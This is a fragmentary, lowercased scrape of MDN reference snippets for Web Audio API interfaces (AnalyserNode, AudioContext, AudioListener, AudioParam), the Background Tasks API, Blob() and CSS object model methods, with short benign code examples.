new float32array(analyser.fftsize); // float32array needs to be the same length as the fftsize analyser.getfloattimedomaindata(dataarray); // fill the float32array with data returned from getfloattimedomaindata() parameters array the float32array that the time domain data will be copied to. if the array has fewer elements than the analysernode.frequencybincount, excess el...
...n value none. example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic-float-data demo (see the source code too). ...
...pe style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic-float-data demo (see the source code too). var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); ... ...
... ... ...
AnalyserNode - Web APIs
properties inherits properties from its parent, audionode. analysernode.fftsize is an unsigned long value representing the size of the fft (fast fourier transform) to be used to determine the frequency domain. analysernode.frequencybincount read only is an unsigned long value half that of the fft size. this generally equates to the number of data valu...
... basic usage the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). ...
...illoscope style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). var audioctx =
new(window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); // ... ...
...nvas defined with id "oscilloscope" var canvas = document.getelementbyid("oscilloscope"); var canvasctx = canvas.getcontext("2d"); // draw an oscilloscope of the current audio source function draw() { requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = "rgb(200, 200, 200)"; canvasctx.fillrect(0, 0, canvas.width, canvas.height); canvasctx.li
newidth = 2; canvasctx.strokestyle = "rgb(0, 0, 0)"; canvasctx.beginpath(); var slicewidth = canvas.width * 1.0 / bufferlength; var x = 0; for (var i = 0; i < bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * canvas.height / 2; if (i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.li...
AudioContext() - Web APIs
available properties are as follows: latencyhint optional the type of playback that the context will be used for, as a value from the audiocontextlatencycategory enum or a double-precision floating-point value indicating the preferred maximum latency of the context in seconds. ...
...available properties are as follows: latencyhint optional the type of playback that the context will be used for, as a value from the audiocontextlatencycategory enum or a double-precision floating-point value indicating the preferred maximum latency of the context in seconds. ...
...ose to meet this request; check the value of audiocontext.baselatency to determine the true latency after creating the context. samplerate optional the samplerate to be used by the audiocontext, specified in samples per second. the value may be any value supported by audiobuffer. if not specified, the preferred sample rate for the context's output device is used by default. return value the
newly constructed audiocontext instance. exceptions notsupportederror the specified samplerate isn't supported by the context. usage notes the specification doesn't go into a lot of detail about things like how many audio contexts a user agent should support, or minimum or maximum latency requirements (if any), so these details can vary from browser to browser. be sure to check the values if ...
...tab audio context limitation in chrome prior to version 66 google chrome only supported up to six audio contexts per tab at a time. non-standard exceptions in chrome if the value of the latencyhint property isn't valid, chrome throws a typeerror exception with the message "the provided value '...' is not a valid enum value of type audiocontextlatencycategory". example this example creates a
new audiocontext for interactive audio (optimizing for latency) and a sample rate of 44.1khz. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext({ latencyhint: 'interactive', samplerate: 44100, }); specifications specification status comment web audio apithe definition of 'audiocontext()' in that specification. work...
AudioContext - Web APIs
ssing graph built from audio modules linked together, each represented by an audionode. an audio context controls both the creation of the nodes it contains and the execution of the audio processing, or decoding. you need to create an audiocontext before you do anything else, as everything happens inside a context. it's recommended to create one audiocontext and reuse it instead of initializing a
new one each time, and it's ok to use a single audiocontext for several different audio source and pipeline concurrently. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveas...
... properties also inherits properties from its parent interface, baseaudiocontext. audiocontext.baselatency read only returns the number of seconds of processing latency incurred by the audiocontext passing the audio from the audiodestinationnode to the audio subsystem. audiocontext.outputlatency read only returns an estimation of the output latency of the curren...
...t.createmediastreamdestination() creates a mediastreamaudiodestinationnode associated with a mediastream representing an audio stream which may be stored in a local file or sent to another computer. audiocontext.createmediastreamtracksource() creates a mediastreamtrackaudiosourcenode associated with a mediastream representing an media stream track. audiocontext.getoutputtimestamp() returns a
new audiotimestamp object containing two audio timestamp values relating to the current audio context. audiocontext.resume() resumes the progression of time in an audio context that has previously been suspended/paused. audiocontext.suspend() suspends the progression of time in the audio context, temporarily halting audio hardware access and reducing cpu/battery usage in the process. examples ...
...tamp values relating to the current audio context. audiocontext.resume() resumes the progression of time in an audio context that has previously been suspended/paused. audiocontext.suspend() suspends the progression of time in the audio context, temporarily halting audio hardware access and reducing cpu/battery usage in the process. examples basic audio context declaration: var audioctx =
new audiocontext(); cross browser variant: var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); var oscillatornode = audioctx.createoscillator(); var gainnode = audioctx.creategain(); var finish = audioctx.destination; // etc. specifications specification status comment web audio apithe definition of 'audiocontext' in tha...
AudioListener.dopplerFactor - Web APIs
the value is 1 by default. ...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioListener.forwardX - Web APIs
the forwardx read-only property of the audiolistener interface is an audioparam representing the x value of the direction vector defining the forward direction the listener is pointing in. note: the parameter is a-rate when used with a pannernode whose panningmodel is set to equalpower, or k-rate otherwise. syntax var audioctx =
new audiocontext(); var mylistener = audioctx.listener; mylistener.forwardx.value = 0; value an audioparam. its default value is 0, and it can range between positive and negative infinity. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d space that your audio listener and panner (source) occupy i...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioListener.forwardY - Web APIs
the forwardy read-only property of the audiolistener interface is an audioparam representing the y value of the direction vector defining the forward direction the listener is pointing in. note: the parameter is a-rate when used with a pannernode whose panningmodel is set to equalpower, or k-rate otherwise. syntax var audioctx =
new audiocontext(); var mylistener = audioctx.listener; mylistener.forwardy.value = 0; value an audioparam. its default value is 0, and it can range between positive and negative infinity. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d space that your audio listener and panner (source) occupy i...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioListener.forwardZ - Web APIs
the forwardz read-only property of the audiolistener interface is an audioparam representing the z value of the direction vector defining the forward direction the listener is pointing in. note: the parameter is a-rate when used with a pannernode whose panningmodel is set to equalpower, or k-rate otherwise. syntax var audioctx =
new audiocontext(); var mylistener = audioctx.listener; mylistener.forwardz.value = 0; value an audioparam. its default value is -1, and it can range between positive and negative infinity. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d space that your audio listener and panner (source) occupy ...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioListener.positionX - Web APIs
its default value is 0, and it can range between positive and negative infinity. ...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioListener.positionY - Web APIs
its default value is 0, and it can range between positive and negative infinity. ...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioListener.positionZ - Web APIs
its default value is 0, and it can range between positive and negative infinity. ...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioListener.setOrientation() - Web APIs
son is pointing towards. the front vector's default value is (0, 0, -1). the up vector, defined by three unitless parameters xup, yup and zup, describes the direction of the top of the listener's head. the up vector's default value is (0, 1, 0). the two vectors must be separated by an angle of 90° — in linear analysis terms, they must be perpendicular to each other. syntax var audioctx =
new audiocontext(); var mylistener = audioctx.listener; mylistener.setorientation(0,0,-1,0,1,0); returns void. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and th...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioListener.setPosition() - Web APIs
hod of the audiolistener interface defines the position of the listener. the three parameters x, y and z are unitless and describe the listener's position in 3d space according to the right-hand cartesian coordinate system. pannernode objects use this position relative to individual audio sources for spatialisation. the default value of the position vector is (0, 0, 0). syntax var audioctx =
new audiocontext(); var mylistener = audioctx.listener; mylistener.setposition(1,1,1); returns void. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update ...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioListener.speedOfSound - Web APIs
ce is a double value representing the speed of sound, in meters per second. the speedofsound property's default value is 343.3 m/s and is used to calculate the doppler shift appropriate for the speed the panner is travelling at (as defined by pannernode.setvelocity.) note: bear in mind that no propagation delay is automatically applied to a sound far from the listener. syntax var audioctx =
new audiocontext(); var mylistener = audioctx.listener; mylistener.speedofsound = 343.3; value a double. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then up...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioListener.upX - Web APIs
the upx read-only property of the audiolistener interface is an audioparam representing the x value of the direction vector defining the up direction the listener is pointing in. note: the parameter is a-rate when used with a pannernode whose pannernode is set to equalpower, or k-rate otherwise. syntax var audioctx =
new audiocontext(); var mylistener = audioctx.listener; mylistener.upx.value = 0; value an audioparam. its default value is 0, and it can range between positive and negative infinity. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and the...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioListener.upY - Web APIs
the upy read-only property of the audiolistener interface is an audioparam representing the y value of the direction vector defining the up direction the listener is pointing in. note: the parameter is a-rate when used with a pannernode whose pannernode is set to equalpower, or k-rate otherwise. syntax var audioctx =
new audiocontext(); var mylistener = audioctx.listener; mylistener.upy.value = 0; value an audioparam. its default value is 1, and it can range between positive and negative infinity. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and the...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioListener.upZ - Web APIs
the upz read-only property of the audiolistener interface is an audioparam representing the z value of the direction vector defining the up direction the listener is pointing in. note: the parameter is a-rate when used with a pannernode whose pannernode is set to equalpower, or k-rate otherwise. syntax var audioctx =
new audiocontext(); var mylistener = audioctx.listener; mylistener.upz.value = 0; value an audioparam. its default value is 0, and it can range between positive and negative infinity. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and the...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioNode - Web APIs
the other hand, a destination node has no outputs; instead, all its inputs are directly played back on the speakers (or whatever audio output device the audio context uses). in addition, there are processing nodes which have inputs and outputs. the exact processing done varies from one audionode to another but, in general, a node reads its inputs, does some audio-related processing, and generates
new values for its outputs, or simply lets the audio pass through (for example in the analysernode, where the result of the processing is accessed separately). the more nodes in a graph, the higher the latency will be. for example, if your graph has a latency of 500ms, when the source node plays a sound, it will take half a second until that sound can be heard on your speakers (or even longer becaus...
...le, mono audio has one channel, while stereo audio has two channels. the web audio api will up-mix or down-mix the number of channels as required; check the web audio spec for details. for a list of all audio nodes, see the web audio api homepage. creating an audionode there are two ways to create an audionode: via the constuctor and via the factory method. ...
...udionode.disconnect() allows us to disconnect the current node from another one it is already connected to. example this simple snippet of code shows the creation of some audio nodes, and how the audionode properties and methods can be used. ...
...onnect the current node from another one it is already connected to. example this simple snippet of code shows the creation of some audio nodes, and how the audionode properties and methods can be used. you can find examples of such usage on any of the examples linked to on the web audio api landing page (for example violent theremin.) const audioctx =
new audiocontext(); const oscillator =
new oscillatornode(audioctx); const gainnode =
new gainnode(audioctx); oscillator.connect(gainnode).connect(audioctx.destination); oscillator.context; oscillator.numberofinputs; oscillator.numberofoutputs; oscillator.channelcount; specifications specification status comment web audio apithe definition of 'audionode' in that specification. working draft ...
AudioParam.value - Web APIs
the web audio api's audioparam interface property value gets or sets the value of this audioparam at the current time. initially, the value is set to audioparam.defaultvalue. setting value has the same effect as calling audioparam.setvalueattime with the time returned by the audiocontext's currenttime property.. syntax var curvalue = audioparam.value; audioparam.value =
newvalue; value a floating-point number indicating the parameter's value as of the current time. this value will be between the values specified by the minvalue and maxvalue properties. usage notes value precision and variation the data type used internally to store value is a single-precision (32-bit) floating point number, while javascript uses 64-bit double-precision floating point numbers. as a result, the value y...
...by the minvalue and maxvalue properties. usage notes value precision and variation the data type used internally to store value is a single-precision (32-bit) floating point number, while javascript uses 64-bit double-precision floating point numbers. as a result, the value you read from the value property may not always exactly equal what you set it to. consider this example: const source =
new audiobuffersourcenode(...); const rate = 5.3; source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); the log output will be false, because the playback rate parameter, rate, was converted to the 32-bit floating-point number closest to 5.3, which yields 5.300000190734863. one solution is to use the math.fround() method, which returns the single-precision value equival...
...ource.playbackrate.value === rate); the log output will be false, because the playback rate parameter, rate, was converted to the 32-bit floating-point number closest to 5.3, which yields 5.300000190734863. one solution is to use the math.fround() method, which returns the single-precision value equivalent to the 64-bit javascript value specified—when setting value, like this: const source =
new audiobuffersourcenode(...); const rate = math.fround(5.3); source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); in this case, the log output will be true. value of a property which is changing over time the value of an audioparam can either be fixed or can vary over time. this is reflected by the value getter, which returns the value of the parameter as of the aud...
...should occur, the value is updated based on the appropriate algorithm. these ramped or gradiated value-changing methods include linearramptovalueattime(), settargetattime(), and setvaluecurveattime(). thus, the value of a parameter is maintained to accurately reflect the state of the parameter over time. example this example instantly changes the volume of a gainnode to 40%. const audioctx =
new audiocontext(); const gainnode = audioctx.creategain(); gainnode.gain.value = 0.4; //which is identical to: gainnode.gain.setvalueattime(0.4, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'value' in that specification. working draft ...
AudioParam - Web APIs
lue read only represents the minimum possible value for the parameter's nominal (effective) range. audioparam.value represents the parameter's current value as of the current time; initially set to the value of defaultvalue. methods audioparam.setvalueattime() schedules an instant change to the value of the audioparam at a precise time, as measured against audiocontext.currenttime. the
new value is given by the value parameter. audioparam.linearramptovalueattime() schedules a gradual linear change in the value of the audioparam. the change starts at the time specified for the previous event, follows a linear ramp to the
new value given in the value parameter, and reaches the
new value at the time given in the endtime parameter. audioparam.exponentialramptovalueattime() schedule...
... audioparam.settargetattime() schedules the start of a change to the value of the audioparam. ...
... audioparam.settargetattime() schedules the start of a change to the value of the audioparam. the change starts at the time specified in starttime and exponentially moves towards the value given by the target parameter. the exponential decay rate is defined by the timeconstant parameter, which is a time measured in seconds. ...
...to the audioparam but holds its value at a given time until further changes are made using other methods. examples first, a basic example showing a gainnode having its gain value set. gain is an example of an a-rate audioparam, as the value can potentially be set differently for each sample frame of the audio. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); var gainnode = audioctx.creategain(); gainnode.gain.value = 0; next, an example showing a dynamicscompressornode having some param values maniuplated. these are examples of k-rate audioparam's, as the values are set for the entire audio block at once. var compressor = audioctx.createdynamicscompressor(); compressor.threshold.setvalueattime(-50, audioctx.currenttime); compressor...
Background Tasks API - Web APIs
ur callback returns. use timeouts when you need to, but only when you need to. using timeouts can ensure that your code runs in a timely manner, but it can also allow you to cause lag or animation stutters by mandating that the browser call you when there's not enough time left for you to run without disrupting performance. falling back to settimeout because the background tasks api is fairly
new, your code may need to be able to work on browsers that don't yet support it. you can do so with a simple shim that uses settimeout() as a fallback option. this isn't a polyfill, since it's not functionally identical; settimeout() doesn't let you make use of idle periods, but instead runs your code when possible, leaving us to do the best we can to avoid causing the user to experience performance...
...simpler: window.cancelidlecallback = window.cancelidlecallback || function(id) { cleartimeout(id); } if cancelidlecallback() isn't defined, this creates one which simply passes the specified callback id through to cleartimeout(). now your code will work even on browsers that don't support the background tasks api, albeit not as efficiently. interfaces the background tasks api adds only one
new interface: idledeadline an object of this type is passed to the idle callback to provide an estimate of how long the idle period is expected to last, as well as whether or not the callback is running because its timeout period has expired. the window interface is also augmented by this api to offer the
new requestidlecallback() and cancelidlecallback() methods. example in this example, we...
...n, if there's text waiting to be added to the log (that is, if logfragment isn't null), we append it to the log element using element.appendchild() and set logfragment to null so we don't add it again. if the log was scrolled to the end when we started, we make sure it still is. then we set statusrefreshscheduled to false to indicate that we've handled the refresh and that it's safe to request a
new one. adding text to the log the log() function adds the specified text to the log. since we don't know at the time log() is called whether or not it's safe to immediately touch the dom, we will cache the log text until it's safe to update. above, in the code for updatedisplay(), you can find the code that actually adds the logged text to the log element when the animation frame is being updated...
...!logfragment) { logfragment = document.createdocumentfragment(); } let el = document.createelement("div"); el.innerhtml = text; logfragment.appendchild(el); } first, we create a documentfragment object named logfragment if one doesn't currently exist. this element is a pseudo-dom into which we can insert elements without immediately changing the main dom itself. we then create a
new <div> element and set its contents to match the input text. then we append the
new element to the end of the pseudo-dom in logfragment. logfragment will accumulate log entries until the next time updatedisplay() is called because the dom for the changes. running tasks now that we've got the task management and display maintenance code done, we can actually start setting up code to run tasks tha...
BaseAudioContext.createBuffer() - Web APIs
note: createbuffer() used to be able to take compressed data and give back decoded samples, but this ability was removed from the spec, because all the decoding was done on the main thread, therefore createbuffer() was blocking other code execution. ...
...s. exceptions notsupportederror one or more of the options are negative or otherwise has an invalid value (such as numberofchannels being higher than supported, or a samplerate outside the nominal range). rangeerror there isn't enough memory available to allocate the buffer. ...
...o help explain how the parameters are used: var audioctx =
new audiocontext(); var buffer = audioctx.createbuffer(2, 22050, 44100); if you use this call, you will get a stereo buffer (two channels), that, when played back on an audiocontext running at 44100hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames / 44100hz = 0.5 seconds. var audioctx =
new audiocontext(); var buffer = audioctx.createbuffer(1, 22050, 22050); if you use this call, you will get a mono buffer (one channel), that, when played back on an audiocontext running at 44100hz, will be automatically *resampled* to 44100hz (and therefore yield 44100 frames), and last for 1.0 second: 44100 frames / 44100hz = 1 second. note: audio resampling is very similar to image resizing: sa...
...e space, but in practice you will be unable to properly reproduce high frequency content (treble sound). now let's look at a more complex createbuffer() example, in which we create a three second buffer, fill it with white noise, and then play it via an audiobuffersourcenode. the comment should clearly explain what is going on. you can also run the code live, or view the source. ...
BaseAudioContext.createPanner() - Web APIs
the panner node is spatialized in relation to the audiocontext's audiolistener (defined by the audiocontext.listener attribute), which represents the position and orientation of the person listening to the audio. syntax baseaudioctx.createpanner(); returns a pannernode. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. ...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
Blob() - Web APIs
the blob() constructor returns a
new blob object. the content of the blob consists of the concatenation of the values given in the parameter array. syntax var
newblob =
new blob(array, options); parameters array an array of arraybuffer, arraybufferview, blob, usvstring objects, or a mix of any of such objects, that will be put inside the blob. usvstring objects are encoded as utf-8. options optional an optional object of type blobpropertybag which may specify any of the following properties: type optional the mime type of the data that will be stored into the blob. the default value is the empty string, (""). endings optional how to interpret
newline characters (\n) within the contents, if the data is text. ...
...ed as utf-8. options optional an optional object of type blobpropertybag which may specify any of the following properties: type optional the mime type of the data that will be stored into the blob. the default value is the empty string, (""). endings optional how to interpret
newline characters (\n) within the contents, if the data is text. the default value, transparent, copies
newline characters into the blob without changing them. ...
...opertybag which may specify any of the following properties: type optional the mime type of the data that will be stored into the blob. the default value is the empty string, (""). endings optional how to interpret
newline characters (\n) within the contents, if the data is text. the default value, transparent, copies
newline characters into the blob without changing them. to convert
newlines to the host system's native convention, specify the value native. return value a
new blob object containing the specified data. ...
...nts, if the data is text. the default value, transparent, copies
newline characters into the blob without changing them. to convert
newlines to the host system's native convention, specify the value native. return value a
new blob object containing the specified data. example var afileparts = ['<a id="a"><b id="b">hey!</b></a>']; // an array consisting of a single domstring var omyblob =
new blob(afileparts, {type : 'text/html'}); // the blob specification specification status comment file apithe definition of 'blob()' in that specification. working draft initial definition. ...
CSSStyleDeclaration.setProperty() - Web APIs
if not specified, treated as the empty string. note: value must not contain "!important" -- that should be set using the priority parameter. priority optional is a domstring allowing the "important" css priority to be set. if not specified, treated as the empty string. ...
...if not specified, treated as the empty string. note: value must not contain "!important" -- that should be set using the priority parameter. priority optional is a domstring allowing the "important" css priority to be set. if not specified, treated as the empty string. ...
...electortext property is equal to the selector .box p, which indicates it is the one we want. if so, we store a reference to this cssstylerule object in a variable. we then use three functions to generate random values for the properties in question, and update the rule with these values. ...
...)) + min; return num; } function randomcolor() { return 'rgb(' + random(0,255) + ', ' + random(0,255) + ', ' + random(0,255) + ')'; } const stylesheet = document.stylesheets[1]; let boxpararule; for(let i = 0; i < stylesheet.cssrules.length; i++) { if(stylesheet.cssrules[i].selectortext === '.box p') { boxpararule = stylesheet.cssrules[i]; } } function setrandomborder() { const
newborder = random(1, 50) + 'px solid ' + randomcolor(); boxpararule.style.setproperty('border',
newborder); } function setrandombgcolor() { const
newbgcolor = randomcolor(); boxpararule.style.setproperty('background-color',
newbgcolor); } function setrandomcolor() { const
newcolor = randomcolor(); boxpararule.style.setproperty('color',
newcolor); } borderbtn.addeventlistener('click', se...
CSS Typed Object Model API - Web APIs
f the supplied values. stylepropertymap the stylepropertymap interface of the the css typed object model api provides a representation of a css declaration block that is an alternative to cssstyledeclaration. stylepropertymap.set() method of stylepropertymap interface that changes the css declaration with the given property to the value given. stylepropertymap.append() method that adds a
new css declaration to the stylepropertymap with the given property and value. stylepropertymap.delete() method that removes the css declaration with the given property from the stylepropertymap. stylepropertymap.clear() method that removes all declarations in the stylepropertymap. cssunparsedvalue the cssunparsedvalue interface of the css typed object model api represents property values that...
...property from the stylepropertymap. stylepropertymap.clear() method that removes all declarations in the stylepropertymap. cssunparsedvalue the cssunparsedvalue interface of the css typed object model api represents property values that reference custom properties. it consists of a list of string fragments and variable references. cssunparsedvalue.cssunparsedvalue() constructor creates a
new cssunparsedvalue object which represents property values that reference custom properties. cssunparsedvalue.entries() method returning an array of a given object's own enumerable property [key, value] pairs in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well). cssunparsedvalue.foreach() method exec...
